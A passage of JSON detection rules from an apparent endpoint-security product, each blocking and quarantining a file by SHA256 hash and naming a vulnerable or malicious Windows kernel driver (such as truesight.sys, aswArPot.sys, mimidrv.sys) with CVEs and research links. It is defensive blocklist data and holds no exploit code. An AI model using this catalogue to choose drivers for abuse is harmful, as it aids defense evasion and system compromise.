+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "516159871730b18c2bddedb1a9da110577112d4835606ee79bb80e7a58784a13",
+  "comment": "Vulnerable Kernel Driver (aka LgDataCatcher.sys) [https://www.loldrivers.io/drivers/5961e133-ccc3-4530-8f4f-5d975c41028d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5d7fd6e-ebd8-565b-add0-af8148705c4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831218Z",
+  "creation_date": "2026-03-23T11:45:30.831221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d7b33f39fb712a114231a1ecf58d45f08eb6d4100556f24cd55bc3468a5b9fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5db8dcf-d2b3-55b4-897e-bcdc8d1aa417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143580Z",
+  "creation_date": "2026-03-23T11:45:31.143582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143587Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bcd8bd506d8390fdf85aa91ef40b359001cb09e9c45696c31ff5289c422a846",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5ea6323-e034-5703-bbde-bff56bfae436",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834132Z",
+  "creation_date": "2026-03-23T11:45:30.834135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "699e84d8ff00dff1056c826b06f8d9514cbc5316c6087a3badb5654ee7e4c217",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5f85186-cbe9-5919-b46e-6ab01af72170",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500148Z",
+  "creation_date": "2026-03-23T11:45:31.500151Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e6e5e688c858122474f0f37d8dd28a7daf57fb6962312b30ec88a1c077dad14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d5fb55f4-fcb7-59a5-8ec0-ab3d97a3ab19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968910Z",
+  "creation_date": "2026-03-23T11:45:29.968912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34e0364a4952d914f23f271d36e11161fb6bb7b64aea22ff965a967825a4a4bf",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d61a06c9-d5ba-50c0-97d8-ad9e24b7fc9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835405Z",
+  "creation_date": "2026-03-23T11:45:30.835408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835417Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a86b668e2380d290a8c6dbaf06ab2582647d7badc69cfaedb9bff4d7cdd26cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d631d6b0-5bcc-5a43-a717-503732debd1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822300Z",
+  "creation_date": "2026-03-23T11:45:30.822302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10576dad4928b01c21ecd2ed9914abba8bf4edae964d5d9d3c0d64ec7657f3d3",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d63a9d72-d64b-509b-96b6-b12ed14c1883",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818225Z",
+  "creation_date": "2026-03-23T11:45:30.818227Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818233Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8edab185e765f9806fa57153db1ede00e68270d2351443ee1de30674eca8d9b6",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d640a694-1b9a-5cfc-a204-173629b14aae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149006Z",
+  "creation_date": "2026-03-23T11:45:31.149009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149017Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77260b530b6da96800832d1b3192aced006d2c9ad5cc89227e060ddaae7ea32a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d654ce02-481d-547e-b2c0-06bc5af2318b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499984Z",
+  "creation_date": "2026-03-23T11:45:31.499987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e84ee3a620bcbbc803c063f817482f79a1b2706ca4576b091d8c970a99a13a4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d659f295-640e-54dd-8166-22be7c09a18c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622527Z",
+  "creation_date": "2026-03-23T11:45:29.622529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bc3685b0b8adc97931b5d31348da235cd7581a67edf6d79913e6a5709866135",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6672950-b0f6-514a-89c0-663789a4039c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979186Z",
+  "creation_date": "2026-03-23T11:45:29.979188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29a2ae6439381ea2aa3116df7025cbb5c6c7c07cc8d19508e6021e4d6177a565",
+  "comment": "Vulnerable Kernel Driver (aka elrawdsk.sys) [https://www.loldrivers.io/drivers/205721b7-b83b-414a-b4b5-8bacb4a37777/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d66c7766-ac85-5795-9dd6-df5842317d2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823580Z",
+  "creation_date": "2026-03-23T11:45:31.823583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "659060d15fc1fc553cb80225b237919a686914f7590b989e10fb72ed9938930b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d673273a-c871-5b8d-9d2e-4286ec032beb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151090Z",
+  "creation_date": "2026-03-23T11:45:31.151092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d7043b497c802662a026c9c9f90941cbc5355aec498a8955a8e03fa2f85af1c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6741839-f890-5333-a8a5-429a98d886a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824983Z",
+  "creation_date": "2026-03-23T11:45:30.824987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c823e63427821411c03f3d8706d08a456352b9c9e34340adb2a3c3e34742229c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d674455d-d9e0-58dc-be7c-e8562562c1a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149844Z",
+  "creation_date": "2026-03-23T11:45:31.149846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b183048baf9ead5313607e82e599c973838d9ef4099dcafd11b123c0bb62201",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d67a44ea-f60b-5a3d-84da-36782e7ea480",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985630Z",
+  "creation_date": "2026-03-23T11:45:29.985632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8578bff36e3b02cc71495b647db88c67c3c5ca710b5a2bd539148550595d0330",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d681726d-1982-5f87-a990-65e10c4729ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145036Z",
+  "creation_date": "2026-03-23T11:45:31.145038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3aebda5c4cf4decc4b2d87e9662d7f0df2b84795d341511ddf5e015f23f96a6b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6886abc-6dc8-5e14-a44a-23df35b29746",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614266Z",
+  "creation_date": "2026-03-23T11:45:29.614268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bf00eff58e5bbe4cf578ec37b9e13c8fa74511fb2644352fcc091347153a709",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d688ffe5-f2a6-5e06-852e-a4d396eecf70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481455Z",
+  "creation_date": "2026-03-23T11:45:31.481458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0db7c736c1e7db87e28cae1b7a36e74f502a9f719ff28308cbce184c8426a51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d68ab78c-a7e2-58f8-bb64-af8b9ec2312b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151679Z",
+  "creation_date": "2026-03-23T11:45:31.151682Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4337c501957262ec0285860e07d7d2c94f2dffb0df9cf41597162cc9d2cf89ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6ce4e88-26be-5f83-9c5f-84c58436b13e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468773Z",
+  "creation_date": "2026-03-23T11:45:30.468776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b5206b5928e03929cca1eda3f12e6df14b31f80e8c16c1bb29109c072053b90",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
